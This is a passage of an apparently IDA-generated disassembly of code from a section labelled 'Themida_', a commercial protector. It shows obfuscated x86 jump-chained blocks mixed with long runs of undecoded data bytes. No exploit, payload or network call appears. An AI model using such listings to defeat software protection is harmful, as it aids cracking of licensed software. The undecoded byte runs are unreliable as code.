loc_50E986: ; CODE XREF: Themida_:0050DEDFj
mov edx, ebx
pop ebx
jmp loc_50EF60
; ---------------------------------------------------------------------------
dw 3487h
dd 0E6D6E924h, 0C581FFFFh, 0C8030950h, 295DEF89h, 242C8BEFh
dd 4C481h, 0FB010000h, 5F2434FFh, 5604C483h, 0FFA8E6E9h
dd 0A4ED81FFh, 0E980D4F8h, 92E4h, 0D3F7DF87h, 0FFBCE8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50E9CD: ; CODE XREF: Themida_:0051609Fj
sub ebp, 29747FEEh
sub ebp, 183776BEh
sub edx, ebp
pop ebp
add edx, edi
add edx, 27A75937h
push dword ptr [edx]
sub dword ptr [esp], 15FF3059h
pop ecx
add ecx, 15FF3059h
push dword ptr [esp]
pop edx
jmp loc_50688D
; ---------------------------------------------------------------------------
loc_50E9FD: ; CODE XREF: Themida_:0050A53Ej
pop eax
add ebp, 4
push 432Dh
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
push edx
push 1F80h
mov [esp], ebx
push 4B3Fh
mov [esp], edi
sub esp, 4
mov [esp], ecx
mov ecx, 88D6A8Eh
mov edi, 141F6885h
xor edi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_50C9CE
; ---------------------------------------------------------------------------
loc_50EA45: ; CODE XREF: Themida_:0050C9E1j
push edi
push edx
pop edi
pop edx
push ecx
push 2F485962h
pop ecx
sub ecx, 539A6C65h
add edi, ecx
pop ecx
add esi, edi
pop edi
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5177F0
; ---------------------------------------------------------------------------
loc_50EA6D: ; CODE XREF: Themida_:00504A91j
add esi, edx
jmp loc_511F5C
; ---------------------------------------------------------------------------
dd 0E699E95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50EA7A: ; CODE XREF: Themida_:00516DFAj
add esp, 4
push dx
mov dl, 0Ch
xor cl, dl
pop dx
jmp loc_50B112
; ---------------------------------------------------------------------------
dw 4BAh
dd 0E9000000h, 0FFFF5D99h, 4C481h, 14330000h, 24143124h
dd 8B241433h, 0A4E92424h, 57000025h, 74CE9h, 4896600h
dd 4011E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50EABA: ; CODE XREF: Themida_:0050A870j
pop eax
shl eax, 6
inc eax
jmp loc_514C4A
; ---------------------------------------------------------------------------
dd 0EAC0C8B2h, 0CFE28007h, 80DDB450h, 0F4805CE4h, 80D4F600h
dd 0ECC035ECh, 88BCE905h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50EAE2: ; CODE XREF: Themida_:0050582Cj
sub edx, 4F120363h
add edx, edi
sub esp, 4
mov [esp], eax
mov eax, 44366383h
xor eax, 0B2460E0h
add edx, eax
jmp loc_50BF70
; ---------------------------------------------------------------------------
loc_50EB01: ; CODE XREF: Themida_:0050FBF5j
pop esi
push 53BBh
mov [esp], ebx
mov ebx, 1
add ecx, ebx
pop ebx
add ecx, 704F7345h
xchg ebp, ecx
inc ebp
xchg ebp, ecx
xor ecx, 0A81FA802h
and eax, ecx
mov ecx, [esp]
add esp, 4
or eax, eax
jz loc_513D84
push dword ptr [edi+1Ch]
sub dword ptr [esp], 6D9C0DF8h
jmp loc_506659
; ---------------------------------------------------------------------------
loc_50EB45: ; CODE XREF: Themida_:0050EE7Cj
push edi
pop esi
pop edi
not esi
push 795Fh
mov [esp], ecx
mov ecx, 3626052Ch
add ecx, 0FFFFFFFFh
push ebp
jmp loc_503278
; ---------------------------------------------------------------------------
dd 33243431h, 665C2434h, 0B6241489h, 6EF809Ch, 0C780F728h
dd 148B6606h, 5A545224h, 4C281h, 0E9530000h, 0FFFFDCB1h
; ---------------------------------------------------------------------------
loc_50EB88: ; CODE XREF: Themida_:0050B7C6j
pop edx
add esi, ebx
pop ebx
add esi, edx
push edi
mov edi, 20EA40B9h
sub esi, edi
jmp loc_508C9C
; ---------------------------------------------------------------------------
loc_50EB9B: ; CODE XREF: Themida_:0050DD22j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_50F184
; ---------------------------------------------------------------------------
dw 1C87h
dd 0F1F7E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50EBAE: ; CODE XREF: Themida_:0050D4DBj
push esi
mov esi, 6BE36C14h
jmp loc_50CEB2
; ---------------------------------------------------------------------------
db 43h, 56h, 0BEh
dd 0F55504D3h, 895EF301h, 5ADEE9DDh, 0E788FFFFh, 0FFFD0858h
dd 1C8B2434h, 0FA02E924h, 0E888FFFFh, 8B58C788h, 8951240Ch
dd 584FE9E1h, 0D8010000h, 6C5BE9h, 9CE98100h, 8134AE45h
dd 964060EAh, 81CA0150h, 964060C2h, 0CBDE950h, 0D1890000h
dd 0FFC1815Ah, 81FFFFFFh, 0E1188BE9h, 687Ch, 0C290000h
dd 0E1C15924h, 0FFE98107h, 81FFFFFFh, 0FFB9E7E9h, 0ABEE816Eh
dd 0E906F15Fh, 43B8h
; ---------------------------------------------------------------------------
loc_50EC3C: ; CODE XREF: Themida_:0050F18Fj
pop eax
push edx
mov edx, esp
add edx, 4
push esi
mov esi, 4E950FBEh
shr esi, 6
not esi
sub esi, 6A0E54F7h
jmp loc_503082
; ---------------------------------------------------------------------------
dd 5585450h, 4, 0E904E883h, 0FFFFEE32h
; ---------------------------------------------------------------------------
loc_50EC6C: ; CODE XREF: Themida_:00512099j
push ecx
mov ecx, 43DE4385h
push ebp
mov ebp, 64EA4D3Ch
and ecx, ebp
pop ebp
jmp loc_50E25F
; ---------------------------------------------------------------------------
dd 4EC81h, 24890000h, 4BA5224h, 1000000h, 5A042454h, 5024048Fh
dd 0FF5958E9h, 0E9D7F7FFh, 0FFFF9A24h, 0E95DEA01h, 5E78h
dd 34ECE581h, 0F5816FC6h, 429F0EB3h, 495DE989h, 68D1F749h
dd 3CA1h, 0BF243C89h, 0B5E0C1AAh, 1AE9F931h, 5900007Fh
dd 333668h, 242C8900h, 45A8E9h, 1EF8300h, 7555E951h
db 2 dup(0FFh)
word_50ECEA dw 34FFh ; DATA XREF: Themida_:00502884o
dd 2434FF24h, 4EC8158h, 0E9000000h, 8661h, 34FFDA01h, 0C4835B24h
dd 0F8EE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50ED0A: ; CODE XREF: Themida_:0050596Dj
pop esp
mov [esp], edx
sub esp, 4
jmp loc_50B177
; ---------------------------------------------------------------------------
db 0C1h, 0E9h, 6
dd 39CABA52h, 0E9425686h, 1483h, 0C34FEA81h, 0C9E96A15h
dd 8100005Fh, 0D26784F6h, 8BF5317Fh, 0C4812434h, 4, 4246C29h
dd 83242C8Bh, 685804C4h, 5269h, 0B9240C89h, 54DB13CAh
dd 0C8BC801h, 100D6824h, 1C890000h, 81E38924h, 4C3h, 4C38300h
dd 0FF82BDE9h, 24248BFFh, 240C8B66h, 4EC81h, 97E90000h
dd 0FF000005h, 835A2434h, 0C46804C4h, 89000012h, 6857242Ch
dd 3705h, 0E9243489h, 0FFFF7DCBh, 4C681h, 0EE830000h, 24348704h
dd 5F7EE95Ch, 0C4810000h, 4, 592434FFh, 3DC268h, 243C8900h
dd 0FF4C11E9h, 243C87FFh, 6A9CE9h, 0FFF80100h, 0F5E92434h
dd 54000037h, 5624048Fh, 4BEh, 24740100h, 2434FF04h, 50F1E95Eh
dd 4D35FFFFh, 29402820h, 875258C2h, 0E9932404h, 0FFFFE2FCh
dd 656AB951h, 0F7494119h, 0FAB2E9D1h, 505EFFFFh, 1799BF57h
dd 0BD552BDBh, 26E9647Bh, 0E95DEF21h, 0FFFFD22Fh, 0FF3C96E9h
dd 241489FFh, 4BAh, 5AD60100h, 8704C683h, 0DBE92434h, 50FFFF83h
dd 405E089h, 0E9000000h, 4Ah, 4E1A2D66h, 66F02966h, 664E1A05h
dd 8124348Bh, 2C4h, 0C3316600h, 0FF522BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50EE75: ; CODE XREF: Themida_:0050C85Dj
inc edi
sub edi, 0FA0C03C0h
jmp loc_50EB45
; ---------------------------------------------------------------------------
loc_50EE81: ; CODE XREF: Themida_:005077ACj
pop ebp
push ecx
push ebp
jmp loc_511972
; ---------------------------------------------------------------------------
loc_50EE89: ; CODE XREF: Themida_:00504683j
push ebx
mov ebx, 16195C18h
jmp loc_50DD3D
; ---------------------------------------------------------------------------
loc_50EE94: ; CODE XREF: Themida_:0050DBF8j
dec edi
push ebp
mov ebp, 125B0D92h
add edi, ebp
jmp loc_50A8C5
; ---------------------------------------------------------------------------
dw 405h
dd 87000000h, 515C2404h, 0B2E18B9h, 0D1F74936h, 31E7E181h
dd 0E1C15EDEh, 2E1C106h, 4EC8153h, 89000000h, 0BE56243Ch
dd 7BA43B1Ah, 911A51BFh, 5EF701D3h, 69E9FB89h
db 0Ch, 2 dup(0)
byte_50EEDF db 68h ; DATA XREF: Themida_:0050284Co
dd 743Ch, 51241489h, 3691E957h, 30590000h, 4977E9E1h, 0C483FFFFh
dd 8A31E904h, 4330000h, 24043124h, 0E9240433h, 0FFFF5096h
dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0E9241C89h, 35CDh
; ---------------------------------------------------------------------------
loc_50EF24: ; CODE XREF: Themida_:0050DFC2j
sub al, dh
pop edx
jmp loc_5144A7
; ---------------------------------------------------------------------------
dd 4C481h, 72E90000h, 8B000046h, 41E9240Ch
db 29h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50EF3F: ; CODE XREF: Themida_:00502B11j
jz loc_505C65
push 3FC4h
jmp loc_50BADD
; ---------------------------------------------------------------------------
db 5Ch
dd 6824148Bh, 67A6h, 0E9243489h, 0FFFF3D81h
; ---------------------------------------------------------------------------
loc_50EF60: ; CODE XREF: Themida_:0050E989j
add edx, ecx
pop ecx
jmp loc_51065D
; ---------------------------------------------------------------------------
loc_50EF68: ; CODE XREF: Themida_:00506C6Ej
pop edx
add esp, 4
add esp, 4
push 55E8h
mov [esp], edi
push 5ECAh
mov [esp], ecx
mov ecx, 519A129Bh
push ecx
pop edi
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
sub esp, 4
mov [esp], edx
jmp loc_506E74
; ---------------------------------------------------------------------------
dw 6866h
dd 0EBE91638h, 8900004Bh, 0E389241Ch, 2818B951h, 0E9415CD7h
dd 850Dh, 0BE56D1F7h, 13AE4485h, 43C2E946h, 6668FFFFh
dd 0E9000062h, 0FFFFDFB0h
; ---------------------------------------------------------------------------
loc_50EFDC: ; CODE XREF: Themida_:005179F1j
mov esp, [esp]
mov [edi+eax*4], cl
jmp loc_514786
; ---------------------------------------------------------------------------
loc_50EFE7: ; CODE XREF: Themida_:0050F444j
add edx, 55B87B5Ah
sub edx, 77003936h
mov ecx, [esp]
add esp, 4
jmp loc_5126E1
; ---------------------------------------------------------------------------
loc_50F001: ; CODE XREF: Themida_:00505F3Fj
pop eax
sub ebx, 49D00102h
shr ebx, 8
push edi
mov edi, 77335C92h
add ebx, 6CAD461Dh
add ebx, edi
sub ebx, 6CAD461Dh
mov edi, [esp]
jmp loc_50DD27
; ---------------------------------------------------------------------------
db 81h
dd 0FD576AF6h, 5EF13190h, 0C107E9C1h, 0B85006E9h, 1DFC119Ah
dd 2759D20Dh, 0A47CE922h, 0CBFEFFFFh, 0E902EBC0h, 0CF9h
; ---------------------------------------------------------------------------
loc_50F050: ; CODE XREF: Themida_:0050D0CDj
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], ebp
push 6E33h
mov [esp], esp
jmp loc_50C1B0
; ---------------------------------------------------------------------------
loc_50F06C: ; CODE XREF: Themida_:00509AA1j
sub ebp, 21B71E3Ch
sub ebp, 618535D4h
push edx
mov edx, 0D1B39516h
sub ebp, edx
pop edx
add eax, ebp
pop ebp
and ebx, eax
pop eax
push eax
jmp loc_5173BE
; ---------------------------------------------------------------------------
byte_50F08D db 0FFh, 34h, 24h ; DATA XREF: Themida_:0050285Co
dd 582434FFh, 925BE955h, 0B2BFFFFFh, 57180B6Dh, 0F9242C81h
dd 8B70F97Ch, 0C481241Ch, 4, 7CF9C381h, 815F70F9h, 6F042444h
dd 814D1639h, 9A04246Ch, 1765404h, 8104245Ch, 9A042444h
dd 81765404h, 6F04246Ch, 8B4D1639h, 0C483241Ch, 0EF815F04h
dd 180B6DB2h, 0FFC288E9h, 0E9EB01FFh, 0FFFFE1CFh
dword_50F0F4 dd 5524148Bh, 10E9E9h, 0C8015E00h, 0E9F80159h, 0FFFF57F6h
; DATA XREF: Themida_:00502844o
dd 4DCBE95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50F10E: ; CODE XREF: Themida_:00510D9Fj
pop esi
push 65E8h
mov [esp], ebp
mov ebp, 4
add esi, ebp
push dword ptr [esp]
pop ebp
jmp loc_50986F
; ---------------------------------------------------------------------------
db 89h
dd 6418E9D3h, 0C1890000h, 0B6E98158h, 0E914D61Fh, 0FFFF606Bh
dd 0D6BA5256h, 89663749h, 0F0295AD6h, 0FFE069E9h, 30D30DFFh
dd 4BE91ADEh, 8BFFFF98h, 0F8E92404h, 87FFFFF3h, 535C2414h
dd 0FF3ED4E9h, 5BDE01FFh, 7E2668h, 0EF7AE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50F176: ; CODE XREF: Themida_:005079D4j
mov esp, [esp]
xchg edx, [esp]
mov eax, [esp]
jmp loc_5060EB
; ---------------------------------------------------------------------------
loc_50F184: ; CODE XREF: Themida_:0050EBA1j
; Themida_:00512E6Fj ...
push ebx
xor dword ptr [esp], 5C4D1BC2h
push dword ptr [esp]
jmp loc_50EC3C
; ---------------------------------------------------------------------------
loc_50F194: ; CODE XREF: Themida_:00515B5Aj
mov [esp], edi
mov edi, esp
push ebp
mov ebp, 71750CB6h
inc ebp
dec ebp
xor ebp, 2298680Bh
jmp loc_50FF9C
; ---------------------------------------------------------------------------
dd 63181105h, 2BA22D49h, 0C8011534h, 15B8BD55h, 0C5810D28h
dd 80C15EAh, 575DE801h, 23570ABFh, 21BFE93Fh, 0C3810000h
dd 63FF23B7h, 315BDA89h, 0DBF75AD3h, 0FFC997E9h, 55E689FFh
dd 412CB5BDh, 5832E970h, 88530000h, 5BD888EBh, 3C98E9h
dd 4BF00h, 0F9010000h, 240C875Fh, 4BA525Ch, 0E9000000h
dd 0FFFFAF35h, 0E981E929h, 13EF688Eh, 1FB6C181h, 0E7E914D6h
dd 5200005Bh, 0C281E289h, 4, 8704C283h, 0CDE92414h, 0BFFFFFFEh
dd 4149756Dh, 8A97C781h, 0F801BEB6h, 0FF517DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50F24D: ; CODE XREF: Themida_:00507A81j
xchg edx, edi
jmp loc_515C22
; ---------------------------------------------------------------------------
dd 5A2434FFh, 4C481h, 0B60F0000h, 8734FFC0h, 62EFE9h, 0E9D32900h
dd 0FFFFE3EFh
; ---------------------------------------------------------------------------
loc_50F270: ; CODE XREF: Themida_:00510AA4j
xor ecx, 4AC40793h
jmp loc_50DCF6
; ---------------------------------------------------------------------------
byte_50F27B db 66h ; DATA XREF: Themida_:00502854o
dd 50240C8Bh, 405E089h, 0E9000000h, 0FFFFDBE1h, 59C3815Ah
dd 57548509h, 6921D168h, 0FB015F0Dh, 0E9243C8Bh, 0FFFFFBA7h
dd 57243489h, 5466A2BFh, 1B1CE97Ah, 0C3810000h, 4, 4C381h
dd 1C870000h, 24248B24h, 5C243487h, 240C8B66h, 34FF5455h
dd 3669E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50F2D6: ; CODE XREF: Themida_:00509E60j
add eax, 4
push esi
push 73D64B79h
pop esi
sub esi, 77A737AAh
push 2E26h
mov [esp], edx
mov edx, 243133FEh
add esi, edx
pop edx
jmp loc_5095E4
; ---------------------------------------------------------------------------
db 5, 4, 0
dd 4050000h, 87000000h, 535C2404h, 0FFCB92E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50F311: ; CODE XREF: Themida_:00504C71j
push ebx
mov ebx, 58F73BC9h
sub ebx, 0D9250673h
jmp loc_5175DF
; ---------------------------------------------------------------------------
dw 1C89h
aTsgt db '$TégT',0
dw 8100h
dd 4C1h, 4C18300h, 2474FF51h, 48F5904h, 24248B24h, 0FF9014E9h
dd 6DF381FFh, 15DF9D3h, 34FF5BD9h, 242C8B24h, 4C481h, 0C4830000h
dd 3862E904h, 295FFFFFh, 53EB81F3h, 0FF6C986Dh, 0E95E2434h
dd 2DC5h, 0E924248Bh, 10CBh, 5E7C15Ch, 1BE1EF81h, 0EF8131EBh
dd 77013F3Dh, 814BE9h
db 0
; ---------------------------------------------------------------------------
loc_50F391: ; CODE XREF: Themida_:00505A03j
mov [esp], ecx
mov ecx, 782B0A2Eh
dec ecx
shr ecx, 5
jmp loc_504A4A
; ---------------------------------------------------------------------------
loc_50F3A2: ; CODE XREF: Themida_:00504B43j
add edx, 67420B3Bh
xor edx, 977145B8h
jmp loc_505D89
; ---------------------------------------------------------------------------
db 59h
dd 5224148Bh, 0C281E289h, 4, 0FFE3EAE9h, 28E168FFh, 14890000h
dd 5B13BA24h, 0D0017EC9h, 2383E9h, 399A6800h, 1C890000h
dd 1865E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50F3E6: ; CODE XREF: Themida_:00511624j
push edi
jmp loc_516612
; ---------------------------------------------------------------------------
dd 31243C33h, 3C33243Ch, 24248B24h, 0E9240431h, 0FFFF36CBh
dd 4C481h, 0EA350000h, 8919AB42h, 0D10158C1h, 8B590188h
dd 89512414h, 4C181E1h, 81000000h, 4C1h, 240C8700h, 369DE95Ch
dd 1C8BFFFFh, 0DB95E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50F436: ; CODE XREF: Themida_:0051081Cj
add edx, 77003936h
sub edx, 55B87B5Ah
add edx, ecx
jmp loc_50EFE7
; ---------------------------------------------------------------------------
loc_50F449: ; CODE XREF: Themida_:0050BE80j
pop dword ptr [esp]
jmp loc_5062E4
; ---------------------------------------------------------------------------
loc_50F451: ; CODE XREF: Themida_:005132C5j
neg ah
push ebx
jmp loc_50C958
; ---------------------------------------------------------------------------
byte_50F459 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005027ECo
dd 0E92434FFh, 6F3Fh
; ---------------------------------------------------------------------------
loc_50F464: ; CODE XREF: Themida_:00508235j
pop edx
jmp loc_50AB52
; ---------------------------------------------------------------------------
dw 0FB31h
dd 0FF37AAE9h, 0E7C380FFh, 5828C380h, 4E9C300h, 5B000059h
dd 0E904EC83h, 27ACh, 68243489h, 357F5B48h, 5124348Bh
dd 0C181E189h, 4, 10B9E9h, 81D3F700h, 6242E5C3h, 0EB814353h
dd 41AFC20h, 0FFE8A4E9h, 0EF0159FFh, 0E958575Dh, 0FFFF5A92h
dd 3DE95548h
db 9Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50F4C7: ; CODE XREF: Themida_:00512F58j
push edx
mov edx, 396013D8h
xchg ebx, edx
dec ebx
xchg ebx, edx
add edx, 2EFC0D4Ah
dec edx
xor edx, 77B573E4h
add edx, 3C27DDD3h
add edi, 3771280Fh
add edi, edx
jmp loc_509CC2
; ---------------------------------------------------------------------------
dw 0EE81h
dd 4, 5C243487h, 55243489h, 0E7594ABDh, 8BEE8963h, 0C481242Ch
dd 4, 693ACE81h, 0EE8154A7h, 7D73F57h, 7E3E68h, 241C8900h
dd 8C1696BBh, 0EB814326h, 5F4A0911h, 2F4ABA52h, 0D33138A8h
dd 8324148Bh, 0E3E904C4h, 0F7FFFFCFh, 5CE946D6h, 5FFFFAAh
dd 0CB8161Bh, 2531EE81h, 0C60159B9h, 2531C681h, 835859B9h
dd 0C8904ECh, 2B924h, 0CE010000h, 24348759h, 6624248Bh
dd 9C243CD3h, 0FF4843E9h, 48F58FFh, 0B5515C24h, 0E3895349h
dd 4C381h, 0EB810000h, 4, 5C241C87h, 0FF3EBBE9h, 0C4835AFFh
dd 6BF7E904h, 0C870000h, 7685C24h, 89000060h, 6D68240Ch
dd 59479354h, 20906855h, 295D264Eh, 0BA2D5DE8h, 10B4B72h
dd 72BA05C8h, 0EC830B4Bh, 4432E904h, 0C62D0000h, 89F96828h
dd 9AE958C1h, 53000086h, 2A418CBBh, 0C1D3F71Eh, 0E94B02EBh
dd 0AEEh, 0C9E9FB01h, 29FFFF75h, 0C7015BD8h, 8324048Bh
dd 0C78104C4h, 4, 0FFA965E9h, 10068FFh, 295E47A3h, 8C42E9EEh
dd 0A868FFFFh, 89000000h, 74FF2414h, 8F5A0424h, 0E95C2404h
dd 0FFFF76AAh
; ---------------------------------------------------------------------------
loc_50F634: ; CODE XREF: Themida_:00507785j
add edi, 4
sub edi, 4
jmp loc_5157B9
; ---------------------------------------------------------------------------
dw 0F781h
dd 25DF18EDh, 0E935C781h, 0F901B415h, 55243C8Bh, 0C5815D54h
dd 4, 3304C583h, 2C31242Ch, 242C3324h, 240C335Ch, 33240C31h
dd 248B240Ch, 8083E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50F67A: ; CODE XREF: Themida_:00509873j
mov edi, 34077B0h
add edi, 285147CDh
inc edi
shl edi, 4
xor edi, 14BB1CE6h
jmp loc_50BAF6
; ---------------------------------------------------------------------------
dword_50F694 dd 240C8B66h, 27C968h, 24048900h, 0FF9D42E9h, 0C58158FFh
; DATA XREF: Themida_:00502A3Co
dd 41314683h, 14BAE957h, 4890000h, 7754E924h, 0EC810000h
dd 4, 0E9241489h, 0FFFF6C7Bh, 5E08950h, 4, 8704E883h, 0E4E92404h
dd 81FFFF54h, 0E25F4E3h, 5E3C151h, 7D0BE9h, 82EB8100h
dd 5D087760h, 3C3EB81h, 0C32912D8h, 3C3C381h, 0BD5512D8h
dd 67883660h, 0BA52DDF7h, 70E93E2Ah, 0E0E9D509h
db 4Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50F713: ; CODE XREF: Themida_:00511D5Bj
mov ecx, 0F4D76157h
jmp loc_50B3EE
; ---------------------------------------------------------------------------
aXswz db 'Xéw‡',0
dw 8900h
dd 0E2892414h, 4C281h, 0EA810000h, 4, 5C241487h, 0E9242C89h
dd 0FFFFC0C5h, 5001BB53h, 0EB810327h, 80DF2E3Ah, 0A3E9DE31h
dd 0E9000082h, 0FFFF3373h
; ---------------------------------------------------------------------------
loc_50F758: ; CODE XREF: Themida_:00509E91j
push small 0
sub [esp], bl
mov bl, [esp]
jmp loc_5107F6
; ---------------------------------------------------------------------------
db 81h
dd 6E61BFE9h, 0E9D9F738h, 3A6Dh, 4BEh, 3F11E900h, 0EC81FFFFh
dd 4, 0BD242C89h, 47195DA2h, 0FFA2A2E9h, 143166FFh, 14336624h
dd 14316624h, 66526624h, 662414F7h, 5524148Bh, 7F1AE9h
dd 4AB55100h, 6859EC88h, 2CABh, 88241489h, 8BD788E2h, 0C4812414h
dd 4, 8124048Bh, 4C4h, 0EEE95600h, 5C00006Fh, 52241C89h
dd 83E9D0B2h
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50F7E3: ; CODE XREF: Themida_:0050CD9Ej
mov [esp], ecx
push esp
pop ecx
add ecx, 4
jmp loc_50FA1D
; ---------------------------------------------------------------------------
loc_50F7F3: ; CODE XREF: Themida_:00503DBBj
not edx
sub esp, 4
mov [esp], ebp
mov ebp, esp
jmp loc_505C43
; ---------------------------------------------------------------------------
dw 665Ah
dd 6648262Dh, 666B3768h, 53243489h, 5AB96651h, 0CB896604h
dd 0FF60F2E9h
db 0FFh
byte_50F81D db 0F7h, 1Ch, 24h ; DATA XREF: Themida_:005029DCo
dd 0F60AE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50F826: ; CODE XREF: Themida_:00505F38j
push 5D9Fh
mov [esp], esp
jmp loc_50A089
; ---------------------------------------------------------------------------
db 88h
dd 382AE9FDh, 0EC68FFFFh, 8900003Eh, 0ACE9242Ch, 81FFFF7Eh
dd 4C4h, 0F3B95100h, 832E8801h, 0E4E9FFE9h
db 38h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50F85B: ; CODE XREF: Themida_:005133AEj
mov ebx, [esp]
add esp, 4
shr ecx, 2
sub esp, 4
mov [esp], ebx
jmp loc_50995A
; ---------------------------------------------------------------------------
loc_50F86F: ; CODE XREF: Themida_:00504F95j
sub ebp, 2
xchg ebp, [esp]
pop esp
mov [esp], dx
push ax
pushf
jmp loc_502ACB
; ---------------------------------------------------------------------------
dw 248Bh
dd 0B30F6624h, 0E99C2404h, 0FFFF323Bh, 2128C681h, 0EC83536Dh
dd 241C8904h, 5908A9BBh, 0BEB85058h, 15BF960h, 0C68158C6h
dd 258A7BF7h, 5809E9h, 7CF6B800h, 0C13145F5h, 8324048Bh
dd 7AE904C4h, 59FFFF61h, 0FFA357E9h, 9D2D5BFFh, 0E91FCC52h
dd 712Bh
dword_50F8D8 dd 9D1C77FFh, 4185866h, 0E4E99C24h ; DATA XREF: Themida_:005028BCo
db 31h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50F8E7: ; CODE XREF: Themida_:005058B7j
xchg ecx, [esp]
pop esp
mov [esp], edi
push 6034h
mov [esp], ebp
push 0ADDh
mov [esp], esi
mov esi, 139B1D08h
mov ebp, 30220698h
add ebp, esi
pop esi
neg ebp
add ebp, 98D47748h
mov edi, ebp
pop ebp
xor ebx, edi
push dword ptr [esp]
pop edi
push eax
jmp loc_50C641
; ---------------------------------------------------------------------------
dw 0C829h
dd 79EC2D59h, 0F00108A3h, 0FF55E9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50F931: ; CODE XREF: Themida_:0050DFAFj
mov ebx, 64872AF2h
sub edi, ebx
pop ebx
pop edx
push edi
jmp loc_504695
; ---------------------------------------------------------------------------
dd 0FF24248Bh, 34FF2434h, 0EC815924h, 4, 0FFB913E9h, 247401FFh
dd 44815E08h, 48620424h, 0D8E96553h
db 54h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50F967: ; CODE XREF: Themida_:00510F7Cj
xor eax, esi
push 5D10h
mov [esp], edx
push 1
mov edx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
sub esp, 4
mov [esp], eax
push ebp
jmp loc_50A715
; ---------------------------------------------------------------------------
loc_50F990: ; CODE XREF: Themida_:00511A82j
push dword ptr [esp]
jmp loc_509D6D
; ---------------------------------------------------------------------------
dd 5E5C15Dh, 8105E5C1h, 6413FCEDh, 31FE0562h, 0B8E91DC9h
db 35h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50F9AF: ; CODE XREF: Themida_:0050537Ej
push ebx
mov ebx, 4
jmp loc_5075D1
; ---------------------------------------------------------------------------
dw 0D0B8h
dd 2966D158h, 58042444h, 46D5E9h
db 0
; ---------------------------------------------------------------------------
loc_50F9C9: ; CODE XREF: Themida_:00503DB4j
xor edi, ebx
pop ebx
push edi
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop edi
jmp loc_508324
; ---------------------------------------------------------------------------
loc_50F9DF: ; CODE XREF: Themida_:0050309Dj
xchg edx, [esp]
pop esp
jmp loc_507878
; ---------------------------------------------------------------------------
dd 58611DBFh, 247C0156h, 3304E904h
db 2 dup(0FFh)
word_50F9F6 dw 8B66h ; DATA XREF: Themida_:00502A08o
dd 0F5E9240Ch
db 7Bh, 2 dup(0)
byte_50F9FF db 0FFh ; DATA XREF: Themida_:00502A10o
dd 70E92434h, 81FFFF6Fh, 4C4h, 0E9D03100h, 30F8h, 882C542Ch
dd 33B6E9h
db 0
; ---------------------------------------------------------------------------
loc_50FA1D: ; CODE XREF: Themida_:0050F7EEj
add ecx, 4
xchg ecx, [esp]
jmp loc_5153BE
; ---------------------------------------------------------------------------
db 0BEh
dd 66633B6Eh, 924DC681h, 0F529B1B6h, 5DEF315Eh, 3C8BF829h
dd 5967E924h, 3489FFFFh, 52E68924h, 0D10623BAh, 568CE96Dh
dd 2C8B0000h, 4C48324h, 4C581h, 0C5830000h, 242C8704h
dd 4E48E95Ch, 6866FFFFh, 8B660002h, 0C481240Ch, 2, 77E95066h
dd 8FFFFFECh, 0D0E92404h, 83FFFF54h, 685704C4h, 678E2B8Dh
dd 0E92434FFh, 0FFFFEFD8h, 0E9E38953h, 0FFFFD234h, 383BD55h
dd 0E9317532h, 83242C8Bh, 0E98104C4h, 1, 58968h, 24048900h
dd 0B1D685B8h, 1EE9818Ah, 29695945h, 4532E9C1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50FAD2: ; CODE XREF: Themida_:00513BAFj
xchg ebx, [esp]
pop esp
or eax, eax
jz loc_510FD8
push 732Eh
mov [esp], edx
jmp loc_505436
; ---------------------------------------------------------------------------
db 83h
dd 1C8904ECh, 240CFF24h, 0F7240487h, 240487D0h, 0F792935Bh
dd 0D00592DAh, 89E38946h, 24048BC2h, 81E38953h, 4C3h, 4C38100h
dd 87000000h, 1CE9241Ch, 5EFFFF43h, 4C681h, 0F6E90000h
dd 56FFFF92h, 232CF9BEh, 5A28BA0Bh, 0F22929FAh, 5AD7095Eh
dd 0E9FFEF83h, 0FFFF512Eh, 8BD9015Fh, 0C483241Ch, 59CB0104h
dd 0EB81C301h, 2347356Bh, 3E6368h, 243C8900h, 0FFC837E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50FB69: ; CODE XREF: Themida_:0050B8A1j
add ebp, 4
xchg ebp, [esp]
pop esp
xor ecx, 32C557C9h
push edi
mov edi, 4F4464E5h
xchg esi, edi
not esi
push edi
jmp loc_508558
; ---------------------------------------------------------------------------
dw 0C89h
